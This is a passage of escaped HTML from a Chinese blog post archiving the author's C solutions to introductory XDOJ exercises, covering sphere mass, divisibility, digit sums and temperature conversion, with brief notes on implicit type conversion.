class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"8-计算球体重量\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#8-%E8%AE%A1%E7%AE%97%E7%90%83%E4%BD%93%E9%87%8D%E9%87%8F\" class=\"headerlink\" title=\"8.计算球体重量\"\u003e\u003c/a\u003e8.计算球体重量\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e PI 3.1415926\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e FE 7.86\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e AG 19.3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e \u003cspan class=\"title function_\"\u003emass\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a,\u003cspan class=\"type\"\u003efloat\u003c/span\u003e p)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e d_1,d_2;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e,\u0026amp;d_1,\u0026amp;d_2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.3f %.3f\u0026#34;\u003c/span\u003e,mass(d_1,FE),mass(d_2,AG));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e \u003cspan class=\"title function_\"\u003emass\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003efloat\u003c/span\u003e p)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e m;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e m = \u003cspan class=\"number\"\u003e4\u003c/span\u003e*PI*a*a*a*p/\u003cspan class=\"number\"\u003e3\u003c/span\u003e/\u003cspan class=\"number\"\u003e1000\u003c/span\u003e/\u003cspan class=\"number\"\u003e8\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e m;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"9-整除判断1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#9-%E6%95%B4%E9%99%A4%E5%88%A4%E6%96%AD1\" class=\"headerlink\" title=\"9.整除判断1\"\u003e\u003c/a\u003e9.整除判断1\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a,b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e,\u0026amp;a,\u0026amp;b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(a%b==\u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;yes\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e,a/b,a%b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"10-求三位整数各位之和\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#10-%E6%B1%82%E4%B8%89%E4%BD%8D%E6%95%B4%E6%95%B0%E5%90%84%E4%BD%8D%E4%B9%8B%E5%92%8C\" class=\"headerlink\" title=\"10.求三位整数各位之和\"\u003e\u003c/a\u003e10.求三位整数各位之和\u003c/h3\u003e\u003cp\u003e本来是想写得更通用一些,但是任务太简单,没必要。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,\u0026amp;i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,i%\u003cspan class=\"number\"\u003e10\u003c/span\u003e+(i%\u003cspan class=\"number\"\u003e100\u003c/span\u003e-i%\u003cspan class=\"number\"\u003e10\u003c/span\u003e)/\u003cspan class=\"number\"\u003e10\u003c/span\u003e+(i-i%\u003cspan class=\"number\"\u003e100\u003c/span\u003e)/\u003cspan class=\"number\"\u003e100\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e更通用一点的算法:任意位(不超过int范围)各位求和:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* calc_bit_sum.c -by xeonds - 2021.10.16 15:11 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecalc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, calc(num));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecalc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (num \u0026gt;= \u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e num % \u003cspan class=\"number\"\u003e10\u003c/span\u003e + calc((num - num % \u003cspan class=\"number\"\u003e10\u003c/span\u003e) / \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"11-温度转换\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#11-%E6%B8%A9%E5%BA%A6%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"11.温度转换\"\u003e\u003c/a\u003e11.温度转换\u003c/h3\u003e\u003cp\u003e这有个坑,好多人都掉进来了:数据的隐式转换。赋值表达式右值的数据类型会自动转换成其中容纳范围最大的项的数据类型。\u003c/p\u003e\u003cp\u003e比如,\u003ccode\u003ec=1+3/2\u003c/code\u003e的结果是2,而\u003ccode\u003ec=1+3/2.0\u003c/code\u003e的结果是\u003ccode\u003e2.50\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* temperature convert - by xeonds */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef_to_c\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e f;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,\u0026amp;f);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.2f\u0026#34;\u003c/span\u003e,f_to_c(f));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef_to_c\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c = (a\u003cspan class=\"number\"\u003e-32.00\u003c/span\u003e)*\u003cspan class=\"number\"\u003e5.00\u003c/span\u003e/\u003cspan class=\"number\"\u003e9.00\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003chr/\u003e\u003cp\u003e\u003cem\u003e第二次上机练习的题,都很简单。注意下文档编码问题,包含中文的最好用\u003ccode\u003eGB2312编码\u003c/code\u003e\u003c/em\u003e\u003c/p\u003e\u003ch3 id=\"12-四则运算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#12-%E5%9B%9B%E5%88%99%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"12.四则运算\"\u003e\u003c/a\u003e12.四则运算\u003c/h3\u003e\u003cp\u003e输入二元表达式,进行运算。初中写过一个计算器,比这个复杂些。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan 